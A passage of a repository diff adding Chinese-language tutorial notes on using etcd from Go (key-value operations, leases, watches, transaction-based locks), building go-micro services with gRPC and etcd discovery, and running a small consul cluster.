delResult, err := kv.Delete(context.TODO(), "/lesson/music")
|
||||
if err != nil {
|
||||
fmt.Println("del key2 err:", err)
|
||||
return
|
||||
}
|
||||
fmt.Println("删除r2结果:", delResult)
|
||||
|
||||
// 修改键值对,修改仍然是Put
|
||||
updRerulst, err := kv.Put(context.TODO(), "/lesson/math", "30")
|
||||
if err != nil {
|
||||
fmt.Println("upd key2 err:", err)
|
||||
return
|
||||
}
|
||||
fmt.Println("修改r1结果:", updRerulst)
|
||||
|
||||
// 查询当前r1的值 该函数支持重载,第三个参数都是 clientv3.With***,用来限制返回结果
|
||||
getR1, err := kv.Get(context.TODO(), "/lesson/math")
|
||||
if err != nil {
|
||||
fmt.Println("select r1 err: ", err)
|
||||
return
|
||||
}
|
||||
// [key:"/lesson/math" create_revision:9 mod_revision:13 version:3 value:"100" ]
|
||||
fmt.Println("查询r1结果:", getR1.Kvs)
|
||||
|
||||
// 查询被删除的r2的值
|
||||
getR2, err := kv.Get(context.TODO(), "/lesson/music")
|
||||
if err != nil {
|
||||
fmt.Println("select r2 err: ", err)
|
||||
return
|
||||
}
|
||||
// []
|
||||
fmt.Println("查询r2结果:", getR2.Kvs)
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
## 二 批量操作
|
||||
|
||||
- 批量删除:`kv.Delete(context.TODO(), "/lesson/", clientv3.WithPrevfix())`
|
||||
- 批量按顺序删除,并删除2个:`kv.Delete(context.TODO(), "/lesson/lesson1", clientv3.WithFromKey(),clientv3.WithLimit(2))`
|
||||
|
||||
## 三 使用OP操作代替原有的增删改查
|
||||
|
||||
```go
|
||||
|
||||
// 创建Op
|
||||
putOp := clientv3.OpPut("/cron/jobs/job8", "888")
|
||||
// 执行Op
|
||||
opR, err := kv.Do(context.TODO(), putOp)
|
||||
if err != nil {
|
||||
fmt.Println("putOp err:", err)
|
||||
return
|
||||
}
|
||||
fmt.Println("写入Revision:", opR.Put().Header.Revision)
|
||||
|
||||
// 创建Op
|
||||
getOp := clientv3.OpGet("/cron/jobs/job8")
|
||||
// 执行Op
|
||||
opR2, err := kv.Do(context.TODO(), getOp)
|
||||
if err != nil {
|
||||
fmt.Println("getOp err:", err)
|
||||
return
|
||||
}
|
||||
fmt.Println("获取Revisoon:", opR2.Get().Kvs[0].ModRevision)
|
||||
fmt.Println("获取Value:", opR2.Get().Kvs[0].Value)
|
||||
```
|
177
06-微服务/05-etcd-4-go与etcd租约.md
Normal file
177
06-微服务/05-etcd-4-go与etcd租约.md
Normal file
@ -0,0 +1,177 @@
|
||||
## 一 租约机制(自动过期)
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"github.com/etcd-io/etcd/clientv3"
|
||||
"time"
|
||||
)
|
||||
|
||||
func connect() (client *clientv3.Client, err error){
|
||||
|
||||
client, err = clientv3.New(clientv3.Config{
|
||||
Endpoints: []string{"127.0.0.1:2379", "127.0.0.1:22379", "127.0.0.1:32379"},
|
||||
DialTimeout: 5 * time.Second,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
fmt.Println("connect err:", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return client, err
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
// 连接
|
||||
cli, err := connect()
|
||||
defer cli.Close()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// 获取etcd读写对象
|
||||
kv := clientv3.NewKV(cli)
|
||||
|
||||
// 申请一个10秒租约
|
||||
lease := clientv3.NewLease(cli)
|
||||
leaseR, err := lease.Grant(context.TODO(), 10)
|
||||
if err != nil {
|
||||
fmt.Println("lease err:", err)
|
||||
return
|
||||
}
|
||||
|
||||
// 使用该租约put一个kv
|
||||
putR, err := kv.Put(context.TODO(), "/cron/lock/job1", "10001", clientv3.WithLease(leaseR.ID))
|
||||
if err != nil {
|
||||
fmt.Println("put err:", err)
|
||||
return
|
||||
}
|
||||
fmt.Println("写入成功:", putR.Header.Revision)
|
||||
|
||||
// 定时查看key是否过期
|
||||
for {
|
||||
getR, err := kv.Get(context.TODO(), "/cron/lock/job1")
|
||||
if err != nil {
|
||||
fmt.Println("get err:", err)
|
||||
return
|
||||
}
|
||||
if getR.Count == 0 {
|
||||
fmt.Println("key过期")
|
||||
break
|
||||
} else {
|
||||
fmt.Println("还未过期")
|
||||
time.Sleep(2 * time.Second)
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
#### 1.3 租约续租
|
||||
|
||||
我们希望能够续约,并能根据需要删除:
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"github.com/etcd-io/etcd/clientv3"
|
||||
"time"
|
||||
)
|
||||
|
||||
func connect() (client *clientv3.Client, err error){
|
||||
|
||||
client, err = clientv3.New(clientv3.Config{
|
||||
Endpoints: []string{"127.0.0.1:2379", "127.0.0.1:22379", "127.0.0.1:32379"},
|
||||
DialTimeout: 5 * time.Second,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
fmt.Println("connect err:", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return client, err
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
// 连接
|
||||
cli, err := connect()
|
||||
defer cli.Close()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// 获取etcd读写对象
|
||||
kv := clientv3.NewKV(cli)
|
||||
|
||||
// 申请一个10秒租约
|
||||
lease := clientv3.NewLease(cli)
|
||||
leaseR, err := lease.Grant(context.TODO(), 10)
|
||||
if err != nil {
|
||||
fmt.Println("lease err:", err)
|
||||
return
|
||||
}
|
||||
|
||||
// 自动续租 返回值是个只读的chan,因为写入只能是etcd实现
|
||||
keepChan, err := lease.KeepAlive(context.TODO(), leaseR.ID )
|
||||
if err != nil {
|
||||
fmt.Println("keep err:", err)
|
||||
return
|
||||
}
|
||||
// 启动一个协程去消费chan的应答
|
||||
go func(){
|
||||
for {
|
||||
select {
|
||||
case keepR := <- keepChan:
|
||||
if keepChan == nil { // 此时系统异常或者主动取消context
|
||||
fmt.Println("租约失效")
|
||||
goto END
|
||||
} else { // 每秒续租一次
|
||||
fmt.Println("收到自动续租应答:", keepR.ID)
|
||||
}
|
||||
}
|
||||
}
|
||||
END:
|
||||
}()
|
||||
|
||||
// 使用该租约put一个kv
|
||||
putR, err := kv.Put(context.TODO(), "/cron/lock/job1", "10001", clientv3.WithLease(leaseR.ID))
|
||||
if err != nil {
|
||||
fmt.Println("put err:", err)
|
||||
return
|
||||
}
|
||||
fmt.Println("写入成功:", putR.Header.Revision)
|
||||
|
||||
// 定时查看key是否过期
|
||||
for {
|
||||
getR, err := kv.Get(context.TODO(), "/cron/lock/job1")
|
||||
if err != nil {
|
||||
fmt.Println("get err:", err)
|
||||
return
|
||||
}
|
||||
if getR.Count == 0 {
|
||||
fmt.Println("key过期")
|
||||
break
|
||||
} else {
|
||||
fmt.Println("还未过期")
|
||||
time.Sleep(2 * time.Second)
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
如果我们要主动让context取消,则会让租约失效,现在定义一个5秒后取消的context:
|
||||
```go
|
||||
// 续租了5秒,然后手动停止续租,即总共有15秒生命
|
||||
ctx, _ := context.WithTimeout(context.TODO(), 5 * time.Second)
|
||||
|
||||
// 自动续租 返回值是个只读的chan,因为写入只能是etcd实现
|
||||
keepChan, err := lease.KeepAlive(ctx, leaseR.ID )
|
||||
```
|
89
06-微服务/05-etcd-5-go与etcd监听.md
Normal file
89
06-微服务/05-etcd-5-go与etcd监听.md
Normal file
@ -0,0 +1,89 @@
|
||||
#### 1.3 示例2 watch机制
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"github.com/etcd-io/etcd/clientv3"
|
||||
"time"
|
||||
"github.com/coreos/etcd/mvcc/mvccpb"
|
||||
)
|
||||
|
||||
func connect() (client *clientv3.Client, err error){
|
||||
|
||||
client, err = clientv3.New(clientv3.Config{
|
||||
Endpoints: []string{"127.0.0.1:2379", "127.0.0.1:22379", "127.0.0.1:32379"},
|
||||
DialTimeout: 5 * time.Second,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
fmt.Println("connect err:", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return client, err
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
// 连接
|
||||
cli, err := connect()
|
||||
defer cli.Close()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// 获取etcd读写对象
|
||||
kv := clientv3.NewKV(cli)
|
||||
|
||||
// 模拟变化
|
||||
go func() {
|
||||
for {
|
||||
kv.Put(context.TODO(), "/cron/jobs/job7", "job7")
|
||||
kv.Delete(context.TODO(), "/cron/jobs/job7")
|
||||
time.Sleep(1 * time.Second)
|
||||
}
|
||||
}()
|
||||
|
||||
// 获取当前值
|
||||
getR, err := kv.Get(context.TODO(), "/cron/jobs/job7")
|
||||
if err != nil {
|
||||
fmt.Println("get err:", err)
|
||||
return
|
||||
}
|
||||
if len(getR.Kvs) != 0 { // key存在
|
||||
fmt.Println("当前值:", string(getR.Kvs[0].Value))
|
||||
}
|
||||
|
||||
// 监听后续变化: revision是当前etcd集群事务ID,该ID是单调递增
|
||||
wathStartRevision := getR.Header.Revision + 1
|
||||
watcher := clientv3.NewWatcher(cli) // 创建wathcer
|
||||
fmt.Println("从该版本向后监听:", wathStartRevision)
|
||||
watchChan := watcher.Watch(context.TODO(), "/cron/jobs/job7", clientv3.WithRev(wathStartRevision))
|
||||
|
||||
// 如果有变化,则会将变化丢到watchChan
|
||||
for watchResult := range watchChan{
|
||||
for _, event := range watchResult.Events {
|
||||
switch event.Type {
|
||||
case mvccpb.PUT:
|
||||
fmt.Println("修改为:", string(event.Kv.Value), "Revision:", event.Kv.CreateRevision, event.Kv.ModRevision)
|
||||
case mvccpb.DELETE:
|
||||
fmt.Println("删除了Revision:", event.Kv.ModRevision )
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
如果要取消监听,同样是通过取消contex来实现:
|
||||
```go
|
||||
ctx, cancelFunc := context.WithTimeout(context.TODO(), 5 * time.Second)
|
||||
// 5秒后执行退出函数
|
||||
time.AfterFunc(5 * time.Second, func(){
|
||||
cancelFunc()
|
||||
})
|
||||
watchChan := watcher.Watch(ctx, "/cron/jobs/job7", clientv3.WithRev(wathStartRevision))
|
||||
```
|
69
06-微服务/05-etcd-6-go与etcd-事务.md
Normal file
69
06-微服务/05-etcd-6-go与etcd-事务.md
Normal file
@ -0,0 +1,69 @@
|
||||
## 一 etcd中的事务
|
||||
|
||||
## 二 示例
|
||||
```go
|
||||
// 第一步:加锁(创建租约,确保租约不过期,使用租约抢占key)
|
||||
|
||||
// 申请一个5秒租约
|
||||
lease := clientv3.NewLease(cli)
|
||||
leaseR, err := lease.Grant(context.TODO(), 5)
|
||||
if err != nil {
|
||||
fmt.Println("lease err:", err)
|
||||
return
|
||||
}
|
||||
|
||||
// 第三步中的释放锁 准备一个用于取消自动续租的context
|
||||
ctx, cancelFunc := context.WithCancel(context.TODO())
|
||||
defer cancelFunc()
|
||||
defer lease.Revoke(context.TODO(), leaseR.ID) // 释放租约
|
||||
|
||||
// 自动续租 返回值是个只读的chan,因为写入只能是etcd实现
|
||||
keepChan, err := lease.KeepAlive(ctx, leaseR.ID )
|
||||
if err != nil {
|
||||
fmt.Println("keep err:", err)
|
||||
return
|
||||
}
|
||||
// 启动一个协程去消费chan的应答
|
||||
go func(){
|
||||
for {
|
||||
select {
|
||||
case keepR := <- keepChan:
|
||||
if keepChan == nil { // 此时系统异常或者主动取消context
|
||||
fmt.Println("租约失效")
|
||||
goto END
|
||||
} else { // 每秒续租一次
|
||||
fmt.Println("收到自动续租应答:", keepR.ID)
|
||||
}
|
||||
}
|
||||
}
|
||||
END:
|
||||
}()
|
||||
|
||||
// 使用事务判断key是否存在;判断其
|
||||
key := "/cron/lock/jobX"
|
||||
kv := clientv3.NewKV(cli)
|
||||
txn := kv.Txn(context.TODO()) // 分布式事务
|
||||
txn.If(clientv3.Compare(clientv3.CreateRevision(key), "=", 0)).
|
||||
Then(clientv3.OpPut(key, "xxx", clientv3.WithLease(leaseR.ID))). // 一般这里val记录是哪个ID抢到
|
||||
Else(clientv3.OpGet(key)) // 否则抢锁失败
|
||||
|
||||
// 提交事务
|
||||
txnR, err := txn.Commit()
|
||||
if err != nil {
|
||||
fmt.Println("txn失败:", err)
|
||||
return
|
||||
}
|
||||
// 判断是否抢到了锁
|
||||
if !txnR.Succeeded {
|
||||
fmt.Println("没抢到锁,锁已被占用;", string(txnR.Responses[0].GetResponseRange().Kvs[0].Value))
|
||||
return
|
||||
}
|
||||
|
||||
// 第二步:业务代码书写
|
||||
fmt.Println("模拟处理任务")
|
||||
time.Sleep(time.Second * 5)
|
||||
|
||||
// 第三步:释放锁(取消续租,释放租约)
|
||||
```
|
||||
|
||||
多次执行上述方法,观察结果
|
137
06-微服务/06-gomicro-1-概述.md
Normal file
137
06-微服务/06-gomicro-1-概述.md
Normal file
@ -0,0 +1,137 @@
|
||||
## 一 go micro简介
|
||||
|
||||
Go Micro是基于Golang的微服务开发框架,该框架解决了构建云本地系统的关键需求,提供了分布式系统开发需要的核心库,包含了RPC与事件驱动的通信机制。
|
||||
|
||||
Go Micro隐藏了分布式系统的复杂性,将微服务体系内的技术转换为了一组工具集合,且符合可插拔的设计哲学,开发人员可以利用它快速构建系统组件,并能依据需求剥离默认实现并实现定制。
|
||||
|
||||
Go Micro核心特性:
|
||||
- 服务发现(Service Discovery):自动服务注册与名称解析,默认的服务发现系统是Consul
|
||||
- 负载均衡(Load Balancing):在服务发现之上构建了负载均衡机制,对服务请求分发的均匀分布,并且在发生问题时进行重试
|
||||
- 消息编码(Message Encoding:支持基于内容类型(content-type)动态编码消息,content-type默认包含proto-rpc和json-rpc。
|
||||
- Request/Response:RPC通信基于支持双向流的请求/响应方式,提供有抽象的同步通信机制,默认的传输协议是http/1.1,而tls下使用http2协议。
|
||||
- 异步消息(Async Messaging):发布订阅(PubSub)等功能内置在异步通信与事件驱动架构中
|
||||
- 可插拔接口(Pluggable Interfaces) - Go Micro为每个分布式系统抽象出接口。因此,Go Micro的接口都是可插拔的
|
||||
|
||||
## 二 go micro安装
|
||||
|
||||
micro安装步骤:
|
||||
```
|
||||
# 安装依赖插件 protobuf
|
||||
go get -u github.com/golang/protobuf/{proto,protoc-gen-go}
|
||||
go get -u github.com/micro/protoc-gen-micro
|
||||
|
||||
# 安装 micro库,该库用于生成micro命令,micro命令可以用来快速生成基于go-micro的项目:
|
||||
go get -u -v github.com/micro/micro
|
||||
cd $GOPATH
|
||||
go install github.com/micro/micro
|
||||
|
||||
# 测试
|
||||
micro
|
||||
```
|
||||
|
||||
## 三 micro 的 new 和 run 命令
|
||||
|
||||
```
|
||||
micro new # 相对于$GOPATH创建一个新的微服务
|
||||
# 参数 --namespace "test" 服务的命名空间
|
||||
# 参数 --type "srv" 服务类型,常用的有 srv api web fnc
|
||||
# 参数 --fqdn 服务正式的全定义
|
||||
# 参数 --alias 别名是在指定时作为组合名的一部分使用的短名称
|
||||
|
||||
micro run # 运行这个微服务
|
||||
```
|
||||
|
||||
注意:new默认创建的项目是以rpc为通信协议、mdns为服务发现的,基本不具备生产价值。笔者在下一章使用 go micro 手动创建项目,集成了grpc、etcd。
|
||||
|
||||
## 三 hello world
|
||||
|
||||
hello.proto:
|
||||
```
|
||||
syntax = "proto3";
|
||||
|
||||
service Greeter {
|
||||
rpc Hello(HelloRequest) returns (HelloResponse) {}
|
||||
}
|
||||
message HelloRequest {
|
||||
string name = 1;
|
||||
}
|
||||
|
||||
message HelloResponse {
|
||||
string greeting = 2;
|
||||
}
|
||||
```
|
||||
|
||||
生成proto的go文件:
|
||||
```
|
||||
protoc --proto_path=$GOPATH/src:. --micro_out=. --go_out=. hello.proto
|
||||
```
|
||||
|
||||
服务端:
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
micro "github.com/micro/go-micro"
|
||||
proto "mygoproject/gomirco" //这里写你的proto文件放置路劲
|
||||
)
|
||||
|
||||
type Greeter struct{}
|
||||
|
||||
func (g *Greeter) Hello(ctx context.Context, req *proto.HelloRequest, rsp *proto.HelloResponse) error {
|
||||
rsp.Greeting = "Hello " + req.Name
|
||||
return nil
|
||||
}
|
||||
|
||||
func main() {
|
||||
// Create a new service. Optionally include some options here.
|
||||
service := micro.NewService(
|
||||
micro.Name("greeter"),
|
||||
)
|
||||
|
||||
// Init will parse the command line flags.
|
||||
service.Init()
|
||||
|
||||
// Register handler
|
||||
proto.RegisterGreeterHandler(service.Server(), new(Greeter))
|
||||
|
||||
// Run the server
|
||||
if err := service.Run(); err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
客户端:
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
micro "github.com/micro/go-micro"
|
||||
proto "mygoproject/gomirco" //这里写你的proto文件放置路劲
|
||||
)
|
||||
|
||||
|
||||
func main() {
|
||||
// Create a new service. Optionally include some options here.
|
||||
service := micro.NewService(micro.Name("greeter.client"))
|
||||
service.Init()
|
||||
|
||||
// Create new greeter client
|
||||
greeter := proto.NewGreeterService("greeter", service.Client())
|
||||
|
||||
// Call the greeter
|
||||
rsp, err := greeter.Hello(context.TODO(), &proto.HelloRequest{Name: "John"})
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
|
||||
// Print response
|
||||
fmt.Println(rsp.Greeting)
|
||||
}
|
||||
```
|
314
06-微服务/06-gomicro-2-集成grpc与etcd.md
Normal file
314
06-微服务/06-gomicro-2-集成grpc与etcd.md
Normal file
@ -0,0 +1,314 @@
|
||||
## 一 go micro 示例
|
||||
|
||||
### 1.0 说明
|
||||
|
||||
本章的 go micro 示例使用 etcd 为服务发现机制, grpc 为通信协议,并且基于go1.13版本,使用go mod管理包。
|
||||
|
||||
项目目录结构:
|
||||
```
|
||||
|-microdemo
|
||||
|- common 通用文件夹
|
||||
|- code 项目状态码文件夹
|
||||
- commonCode.go
|
||||
|- config 项目通用配置文件夹
|
||||
- commonConfig.go
|
||||
|- simple: 简单示例服务文件夹
|
||||
|- handler 简单示例服务的服务句柄文件夹
|
||||
|- testHandler
|
||||
- testHandler.go
|
||||
|- proto 简单示例服务的grpc协议文件夹
|
||||
|- testProto
|
||||
- test.micro.go
|
||||
- test.pb.go
|
||||
- test.proto
|
||||
- main.go 主文件
|
||||
|- web: web服务文件夹
|
||||
|- go.mod 项目管理文件
|
||||
```
|
||||
|
||||
贴士:本项目基于etcd,必须先启动etcd!!!
|
||||
|
||||
### 1.1 创建基础配置
|
||||
|
||||
创建一个名为 microdemo 的项目
|
||||
```
|
||||
go mod init microdemo
|
||||
```
|
||||
|
||||
commonCode.go:
|
||||
```go
|
||||
package code
|
||||
|
||||
type res struct {
|
||||
Code int
|
||||
Msg string
|
||||
}
|
||||
|
||||
var OK *res
|
||||
var SERERR *res
|
||||
var DBERR *res
|
||||
var INFOERR *res
|
||||
var FILTERERR *res
|
||||
var INFONOTFOUND *res
|
||||
|
||||
func init() {
|
||||
|
||||
// 正确请求
|
||||
OK = &res{1000, "成功"}
|
||||
|
||||
// 数据校验 3
|
||||
FILTERERR = &res{ 3001, "校验未通过", }
|
||||
|
||||
// 资源状态 4
|
||||
INFONOTFOUND = &res{4001, "资源不存在",}
|
||||
|
||||
// 服务器状态 5
|
||||
SERERR = &res{5001, "服务器错误",}
|
||||
DBERR = &res{5002, "数据库错误",}
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
commonConfig.go
|
||||
```go
|
||||
package config
|
||||
|
||||
import "fmt"
|
||||
|
||||
var ENV = "TEST"
|
||||
|
||||
var EtcdAddr []string = []string{
|
||||
"127.0.0.1:2379",
|
||||
"127.0.0.1:2379",
|
||||
"127.0.0.1:2379",
|
||||
}
|
||||
|
||||
var RedisAddr string = "127.0.0.1"
|
||||
var RedisPort string = "6379"
|
||||
var RedisDB string = "0"
|
||||
|
||||
var FastDfsAddr string = "127.0.0.1"
|
||||
var FastDfsPort string = "9090"
|
||||
|
||||
var StaticAddr string = "http://" + FastDfsAddr + ":" + FastDfsPort + "/"
|
||||
|
||||
func init() {
|
||||
|
||||
if ENV == "PROD" {
|
||||
fmt.Println("执行生产环境配置")
|
||||
}
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
### 1.2 创建第一个微服务:simple
|
||||
|
||||
simple服务只是一个微服务的简单示例。
|
||||
|
||||
生成协议文件:
|
||||
```go
|
||||
# simple/proto/simpleProto/simple.proto
|
||||
syntax = "proto3";
|
||||
|
||||
package simpleProto;
|
||||
|
||||
service SimpleService {
|
||||
rpc SimpleFunc(SimpleRequest) returns (SimpleResponse) {}
|
||||
}
|
||||
|
||||
message SimpleRequest {
|
||||
int32 id = 1;
|
||||
}
|
||||
|
||||
message SimpleResponse {
|
||||
int32 code = 1;
|
||||
string msg = 2;
|
||||
}
|
||||
|
||||
# 生成go协议文件
|
||||
cd simple/proto/simpleProto
|
||||
protoc simple.proto --proto_path=. --go_out=. --micro_out=.
|
||||
```
|
||||
|
||||
书写句柄函数:即本服务具体做什么
|
||||
```go
|
||||
// simple/handler/simplerHandler/simplerHandler.go
|
||||
package simpleHandler
|
||||
|
||||
import (
|
||||
"context"
|
||||
"microdemo/simple/proto/simpleProto"
|
||||
)
|
||||
|
||||
// 简单微服务
|
||||
type SimpleService struct{}
|
||||
func (s *SimpleService) SimpleFunc(ctx context.Context, req *simpleProto.SimpleRequest, rsp *simpleProto.SimpleResponse) error {
|
||||
|
||||
// 执行业务操作....
|
||||
|
||||
// 返回业务数据给web服务
|
||||
rsp.Code = 1
|
||||
rsp.Msg = "成功"
|
||||
return nil
|
||||
}
|
||||
```
|
||||
|
||||
main文件:
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"github.com/micro/go-micro"
|
||||
"github.com/micro/go-micro/registry"
|
||||
"github.com/micro/go-micro/service/grpc"
|
||||
"github.com/micro/go-micro/util/log"
|
||||
"github.com/micro/go-plugins/registry/etcdv3"
|
||||
"microdemo/simple/handler/simpleHandler"
|
||||
"microdemo/simple/proto/simpleProto"
|
||||
"microdemo/common/config"
|
||||
)
|
||||
|
||||
func main() {
|
||||
|
||||
// 替换micro默认的服务发现框架consul为etcd
|
||||
reg := etcdv3.NewRegistry(func(op *registry.Options){
|
||||
op.Addrs = config.EtcdAddr
|
||||
})
|
||||
|
||||
// 创建服务
|
||||
service := grpc.NewService(
|
||||
micro.Name("demo.srv.simple"),
|
||||
micro.Registry(reg),
|
||||
micro.Version("latest"),
|
||||
micro.Address(":" + "30066"),
|
||||
)
|
||||
service.Init()
|
||||
|
||||
// 注册服务句柄
|
||||
err := simpleProto.RegisterSimpleServiceHandler(service.Server(), new(simpleHandler.SimpleService))
|
||||
if err != nil {
|
||||
log.Error("注册句柄错误:", err)
|
||||
return
|
||||
}
|
||||
|
||||
// 运行服务
|
||||
if err := service.Run(); err != nil {
|
||||
log.Error("运行服务错误:", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 1.3 创建第二个微服务:web
|
||||
|
||||
handler句柄文件:
|
||||
```go
|
||||
// web/handler/simpleHandler/simpleHandler.go
|
||||
package simpleHandler
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"github.com/julienschmidt/httprouter"
|
||||
"github.com/micro/go-micro/service/grpc"
|
||||
"microdemo/simple/proto/simpleProto"
|
||||
"net/http"
|
||||
)
|
||||
|
||||
// 简单微服务方法
|
||||
func Simple(w http.ResponseWriter, r *http.Request, p httprouter.Params) {
|
||||
|
||||
fmt.Println("参数:", p)
|
||||
|
||||
// grpc 服务初始化
|
||||
service := grpc.NewService()
|
||||
service.Init()
|
||||
|
||||
// 获取服务句柄
|
||||
simpleClient := simpleProto.NewSimpleService("demo.srv.simple", service.Client())
|
||||
|
||||
// 调用服务
|
||||
rsp, err := simpleClient.SimpleFunc(context.TODO(), &simpleProto.SimpleRequest{})
|
||||
if err != nil {
|
||||
fmt.Println("调用服务错误:", err)
|
||||
http.Error(w, err.Error(), 500)
|
||||
}
|
||||
|
||||
// 创建返回给前端的数据
|
||||
result := map[string]interface{}{
|
||||
"code": rsp.Code,
|
||||
"msg": rsp.Msg,
|
||||
}
|
||||
if err := json.NewEncoder(w).Encode(result); err != nil {
|
||||
http.Error(w, err.Error(), 500)
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
main.go
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"github.com/julienschmidt/httprouter"
|
||||
"github.com/micro/go-micro/registry"
|
||||
"github.com/micro/go-micro/util/log"
|
||||
"github.com/micro/go-micro/web"
|
||||
"github.com/micro/go-plugins/registry/etcdv3"
|
||||
"microdemo/account/config"
|
||||
"microdemo/web/handler/simpleHandler"
|
||||
"net/http"
|
||||
)
|
||||
|
||||
func main() {
|
||||
|
||||
// 替换micro默认的服务发现框架consul为etcd
|
||||
reg := etcdv3.NewRegistry(func(op *registry.Options){
|
||||
op.Addrs = config.EtcdAddr
|
||||
})
|
||||
|
||||
// 创建web服务
|
||||
service := web.NewService(
|
||||
web.Name("demo.web.web"),
|
||||
web.Registry(reg),
|
||||
web.Version("latest"),
|
||||
web.Address(":" + "3000"),
|
||||
)
|
||||
if err := service.Init(); err != nil {
|
||||
log.Error("服务初始化错误:", err)
|
||||
}
|
||||
|
||||
// 创建路由
|
||||
router := httprouter.New()
|
||||
router.NotFound = http.FileServer(http.Dir("public"))
|
||||
|
||||
// 测试路由
|
||||
router.GET("/simple/:id", simpleHandler.Simple)
|
||||
|
||||
service.Handle("/", router)
|
||||
|
||||
// 运行服务
|
||||
if err := service.Run(); err != nil {
|
||||
log.Error("服务运行错误:", err)
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 1.4 服务启动与访问
|
||||
|
||||
启动etcd后,启动服务:
|
||||
```
|
||||
# 启动simple服务
|
||||
cd simple
|
||||
go run main.go --registry=etcd --registry_address=127.0.0.1:2379
|
||||
|
||||
# 启动web服务
|
||||
cd web
|
||||
go run main.go --registry=etcd --registry_address=127.0.0.1:2379
|
||||
```
|
||||
|
||||
访问:
|
||||
```
|
||||
localhost:3000/simple/10001
|
||||
```
|
97
06-微服务/06-gomicro-3-集群.md
Normal file
97
06-微服务/06-gomicro-3-集群.md
Normal file
@ -0,0 +1,97 @@
|
||||
## 一 模拟三台集群
|
||||
|
||||
本章模拟微服务跨主机通信(直接使用上一章中的rpc也可行):
|
||||
|
||||
```
|
||||
# 以server模式运行agent,启动第一个节点node1:
|
||||
consul agent -server -bootstrap-expect 2 -data-dir ~/tmp/consul/data -node=n1 -bind=192.168.186.128 -ui -config-dir /etc/consul.d -rejoin -join 192.168.186.128 -client 0.0.0.0
|
||||
|
||||
# 以server模式运行agent,启动第二个节点node1:
|
||||
consul agent -server -bootstrap-expect 2 -data-dir ~/tmp/consul/data -node=n2 -bind=192.168.186.129 -ui -rejoin -join 192.168.186.128
|
||||
|
||||
# 以client模式运行cosnul agent,-join 加入到已有的集群中去
|
||||
consul agent -data-dir /tmp/consul -node=n3 -bind=192.168.186.130 -config-dir /etc/consul.d -rejoin -join 192.168.186.128
|
||||
```
|
||||
|
||||
## 二 启动服务
|
||||
|
||||
启动项目:
|
||||
```
|
||||
# 在第一台主机上启动微服务mysrv:
|
||||
cd ~/go/src/test/mysrv
|
||||
go run main.go
|
||||
|
||||
# 在第二台主机上启动微服务myweb:
|
||||
cd ~/go/src/test/myweb
|
||||
go run main.go
|
||||
```
|
||||
|
||||
在第一台主机上创建json文件:/etc/consul.d/config.json:
|
||||
```json
|
||||
{
|
||||
"services":[
|
||||
{
|
||||
"name": "mysrv",
|
||||
"tags": [
|
||||
"srv"
|
||||
],
|
||||
"address": "127.0.0.1",
|
||||
"port": 3000,
|
||||
"checks": [
|
||||
{
|
||||
"http":"http://localhost:3000/health",
|
||||
"interval":"10s"
|
||||
}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "myweb",
|
||||
"tags": [
|
||||
"web"
|
||||
],
|
||||
"address": "127.0.0.1",
|
||||
"port": 8080,
|
||||
"checks": [
|
||||
{
|
||||
"http":"http://localhost:3000/health",
|
||||
"interval":"10s"
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
加载服务:
|
||||
```
|
||||
consul reload
|
||||
```
|
||||
|
||||
此时在第二台主机上输入:localhost:8080,就可以开始操作了!
|
||||
|
||||
|
||||
## 三 升级为grpc版本
|
||||
|
||||
mysrv的main中服务的创建方式修改为以下方式即可:
|
||||
```go
|
||||
|
||||
// "github.com/micro/go-micro/service/grpc"
|
||||
|
||||
// 创建新服务
|
||||
service := grpc.NewService( // rpc版本是: micro.NewService()
|
||||
//当前微服务的注册名
|
||||
micro.Name("go.micro.srv.srv"),
|
||||
//当前微服务的版本号
|
||||
micro.Version("latest"),
|
||||
)
|
||||
```
|
||||
|
||||
|
||||
myweb的handler中调用方式的改变:
|
||||
```go
|
||||
// "github.com/micro/go-micro/service/grpc"
|
||||
|
||||
server := grpc.NewService()
|
||||
server.Init()
|
||||
mysrvClient := mysrv.NewMysrvService("go.micro.srv.mysrv", server.Client())
|
||||
```
|
221
07-标准库/database.md
Normal file
221
07-标准库/database.md
Normal file
@ -0,0 +1,221 @@
|
||||
## 一 Go的数据库接口
|
||||
|
||||
